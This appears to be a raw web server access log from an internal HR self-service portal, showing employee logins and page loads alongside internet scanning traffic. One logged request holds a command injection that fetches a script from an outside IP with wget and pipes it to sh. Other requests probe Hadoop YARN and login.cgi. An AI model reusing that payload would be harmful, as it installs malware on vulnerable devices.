/eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10223 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10223 192.168.12.46 - - [04/Dec/2025:09:25:28 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 192.168.12.46 - - [04/Dec/2025:09:25:28 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:29 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:29 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6351 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6351 192.168.12.46 - - [04/Dec/2025:09:25:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.12.46 - - [04/Dec/2025:09:25:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:33 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:33 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.12.46 - - [04/Dec/2025:09:25:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10874 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10874 192.168.12.46 - - [04/Dec/2025:09:25:35 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:35 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 100.64.0.1 - - [04/Dec/2025:09:29:15 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:09:29:15 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:09:33:45 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:09:33:45 +0800] "GET / HTTP/1.1" 200 439 192.168.11.60 - - [04/Dec/2025:09:43:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:43:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:09:43:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:43:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [04/Dec/2025:09:43:37 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:43:37 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 100.64.0.1 - - [04/Dec/2025:09:44:15 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:09:44:15 +0800] "GET / HTTP/1.1" 200 439 192.168.11.60 - - [04/Dec/2025:09:48:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:48:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:09:48:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:48:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 192.168.11.60 - - [04/Dec/2025:09:48:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:48:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [04/Dec/2025:09:48:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:48:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [04/Dec/2025:09:48:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165839 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:48:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165839 100.64.0.1 - - [04/Dec/2025:09:48:56 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" 100.64.0.1 - - [04/Dec/2025:09:48:56 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:09:49:04 +0800] "GET login.cgi HTTP/1.1" 400 226 "-" "-" 100.64.0.1 - - [04/Dec/2025:09:49:04 +0800] "GET login.cgi HTTP/1.1" 400 226 100.64.0.1 - - [04/Dec/2025:09:49:05 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F213.209.143.114%2Fmass%20-O-%20%7C%20sh HTTP/1.1" 404 208 "-" "Mozila/5.0" 100.64.0.1 - - [04/Dec/2025:09:49:05 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F213.209.143.114%2Fmass%20-O-%20%7C%20sh HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:09:49:05 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [04/Dec/2025:09:49:05 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:09:49:42 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:09:49:42 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:09:51:40 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:09:51:40 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:09:52:33 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:09:52:33 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:09:54:02 +0800] "\x03" 501 203 100.64.0.1 - - [04/Dec/2025:09:54:02 +0800] "\x03" 501 203 "-" "-" 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.11.125 - - [04/Dec/2025:09:54:49 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:49 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:48 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.125 - - [04/Dec/2025:09:54:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [04/Dec/2025:09:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.125 - - [04/Dec/2025:09:54:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.125 - - [04/Dec/2025:09:54:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.125 - - [04/Dec/2025:09:54:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.125 - - [04/Dec/2025:09:54:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.125 - - [04/Dec/2025:09:54:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [04/Dec/2025:09:55:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [04/Dec/2025:09:55:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:54:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [04/Dec/2025:09:55:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.125 - - [04/Dec/2025:09:55:03 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:03 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.125 - - [04/Dec/2025:09:55:03 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:03 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.125 - - [04/Dec/2025:09:55:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [04/Dec/2025:09:55:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [04/Dec/2025:09:55:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.125 - - [04/Dec/2025:09:55:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0661978373415737 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:09:55:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0661978373415737 HTTP/1.1" 200 10228 192.168.11.125 - - [04/Dec/2025:09:55:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0661978373415737 HTTP/1.1" 200 12405 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0661978373415737" "Mozilla/5.0 (Windows NT 10.0; Win64; 